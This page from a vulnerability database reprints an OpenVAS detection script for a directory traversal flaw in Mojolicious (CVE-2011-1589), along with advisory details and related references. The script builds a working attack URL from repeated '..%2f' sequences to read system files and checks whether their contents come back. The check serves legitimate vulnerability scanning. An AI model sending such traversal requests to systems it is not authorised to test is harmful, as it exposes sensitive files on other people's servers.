Lucene search
K

Mojolicious Directory Traversal Vulnerability

🗓️ 18 May 2011 00:00:00Reported by Copyright (C) 2011 Greenbone Networks GmbHType 
openvas
 openvas
🔗 plugins.openvas.org👁 19 Views

Mojolicious Directory Traversal Vulnerability. Successful exploitation can lead to obtaining sensitive information, impact level is Application. Vulnerable to arbitrary file reading due to error in 'Path.pm' in versions prior to 1.16. Solution is to upgrade to Mojolicious version 1.16 or later. Host is prone to directory traversal vulnerability

Related
Refs
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2011-1589
29 Apr 201122:00
cve
Cvelist
CVE-2011-1589
29 Apr 201122:00
cvelist
Debian
[SECURITY] [DSA 2221-1] Mojolicious security update
19 Apr 201120:47
debian
Debian CVE
CVE-2011-1589
29 Apr 201122:00
debiancve
Tenable Nessus
Debian DSA-2221-1 : libmojolicious-perl - directory traversal
20 Apr 201100:00
nessus
Tenable Nessus
Fedora 14 : perl-Mojolicious-0.999929-2.fc14 (2011-5504)
26 Apr 201100:00
nessus
Tenable Nessus
Fedora 13 : perl-Mojolicious-0.999925-3.fc13 (2011-5505)
26 Apr 201100:00
nessus
EUVD
EUVD-2011-1589
7 Oct 202500:30
euvd
NVD
CVE-2011-1589
29 Apr 201122:55
nvd
OpenVAS
Debian: Security Advisory (DSA-2221-1)
12 May 201100:00
openvas
Rows per page
###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_mojolicious_dir_trav_vuln.nasl 7577 2017-10-26 10:41:56Z cfischer $
#
# Mojolicious Directory Traversal Vulnerability
#
# Authors:
# Sooraj KS <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow attacker to obtain sensitive information
  that could aid in further attacks.
  Impact Level: Application";
tag_affected = "Mojolicious versions prior to 1.16.";
tag_insight = "The flaw is due to an error in 'Path.pm', which allows remote
  attackers to read arbitrary files via a %2f..%2f
  (encoded slash dot dot slash) in a URI.";
tag_solution = "Upgrade to Mojolicious version 1.16 or later.
  For updates refer to http://www.mojolicious.org/";
tag_summary = "The host is running Mojolicious and is prone to directory traversal
  vulnerability.";

if(description)
{
  script_id(801882);
  script_version("$Revision: 7577 $");
  script_tag(name:"last_modification", value:"$Date: 2017-10-26 12:41:56 +0200 (Thu, 26 Oct 2017) $");
  script_tag(name:"creation_date", value:"2011-05-18 15:37:30 +0200 (Wed, 18 May 2011)");
  script_bugtraq_id(47402);
  script_cve_id("CVE-2011-1589");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("Mojolicious Directory Traversal Vulnerability");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/44051");
  script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/66830");
  script_xref(name : "URL" , value : "https://bugzilla.redhat.com/show_bug.cgi?id=697229");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
  script_mandatory_keys("Mojolicious/banner");
  script_require_ports("Services/www", 3000);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

## Get HTTP Port
port = get_http_port(default:3000);
if(!port){
  exit(0);
}

## Get Http Banner
banner = get_http_banner(port:port);

## Confirm Mojolicious
if("Server: Mojolicious" >< banner)
{
  files = traversal_files();
  foreach file (keys(files))
  {
    ## Construct attack request
    url = string(crap(data:"..%2f",length:5*10),files[file]);

    ## Try exploit and check the response to confirm vulnerability
    if(http_vuln_check(port:port, url:url, pattern:file)) {
      security_message(port:port);
    }
  }
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation